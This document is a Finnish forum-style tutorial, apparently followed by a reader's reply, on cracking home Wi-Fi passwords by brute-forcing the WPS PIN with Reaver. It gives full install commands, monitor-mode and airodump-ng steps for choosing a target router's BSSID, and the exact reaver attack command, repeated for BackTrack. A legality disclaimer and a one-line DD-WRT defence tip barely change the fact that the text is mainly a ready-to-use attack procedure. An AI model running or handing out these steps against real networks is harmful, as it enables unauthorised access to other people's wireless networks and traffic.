VINKKEJÄ JA OHJEITA

Tätä ohjetta ei ole tarkoittettu käytettäväksi yhtään mihinkään eikä kirjoittaja ota mitään vastuuta ohjeesta.
Muista, että toisten salasanojen murtaminen on laitonta.
Ohjeen tarkoitus on vain todeta kuinka helppoa langattoman verkon salasana on murtaa.

Haetaan Reaver osoiteesta http://code.google.com/p/reaver-wps/downloads/list ja tallennetaan se omaan kotihakemistoon.
Kopioidaan se root-hakemistoon.
sudo cp /home/eero/reaver-1.4.tar.gz /root

Asennetaan Reaver komennoilla:
apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev
tar -xzvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
make install

Asennetaan aircrack-ng:
apt-get install build-essential
apt-get install libssl-dev
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar -zxvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1

Hakmistossa aircrack-ng-1.1 on tiedosto common.mak jota pitää muokata.
gedit common.mak
Etsi rivi CFLAGS ?= -g -W -Wall -Werror -O3
Ja muuta muotoon CFLAGS ?= -g -W -Wall -O3

Jatketaan asennusta
make
make install

Asennukset on valmiita. Ruvetaan käyttää ohjelmaa.

Tarvitsemme murrettavan tukiaseman mac-osoitteen.
Anna komento airmon-ng start wlan0
Saat näkyviin langattomat liittymät. Jos tulee virhe, niin mulla auttoi komento airodump-ng-oui-update ja annoin uusiksi komennon ja lähti pelittää.
Annetaan komento airodump-ng mon0
Tämä tuo kaikki tukiasemat jotka kuuluu ja näät mac-osoitteet
Tämän jälkeen kopioidaan haluttu mac-osoite ja suoritetaan varsinainen hyökkäys komennolla
reaver -i mon0 -b jo:ku:ma:co:so:te

SITTEN KESTÄÄ USEITA TUNTEJA....

toimiiko tuo wep sekä wpa vaiko toiseen vain?

Toisellakin tapaa pääsee jos kyseessä on wpa salaus.
Lataa "backtrack" http://www.backtrack-linux.org/downloads/
Backtrack 5 R3 sisältää REaverin
Tekee bootable diskin tai usbin.

Käynnistää liven ja valitsee "BackTrack Text - Default Boot Text Mode"

Type: startx -käynnistyy graafisee

etsitään wlan sovitin "iwconfig"

normaalisti löytyy wlan0

valitaan sovitin "airmon-ng start wlan0"

kun komento on "asentanut ajurit" ota huomioon (monitor mode enabled on ****)

normaalisti **** on "mon0" nimellä.

löydä BSSID komennolla "airodump-ng wlan0"
huom! jos komento ei toimi yritä seuraavaa "airodump-ng ****"
**** on ajurin nimi jonka backtrack antoi sovittimelle

kirjaa ylös BSSID jonka haluat murtaa

korvaa bbsid ja moninterface komennolla "reaver -i moninterface -b bssid -vv"

elikkä selkokielelellä moninterface on ajuurin nimi ja bssid mac
esim. reaver -i mon0 -b 8a:FE:9D:28:3D:F8 -vv

ENTTER ja istu odottamaan tai mene saunaan. Raven taikoo salasanan näkyviin

MITEN SUOJAUTUA?

http://dd-wrt.com/site/index

lataa ja asenna routeriin. halvastakin romusta tulee paljon vakaampi tuon jälkeen.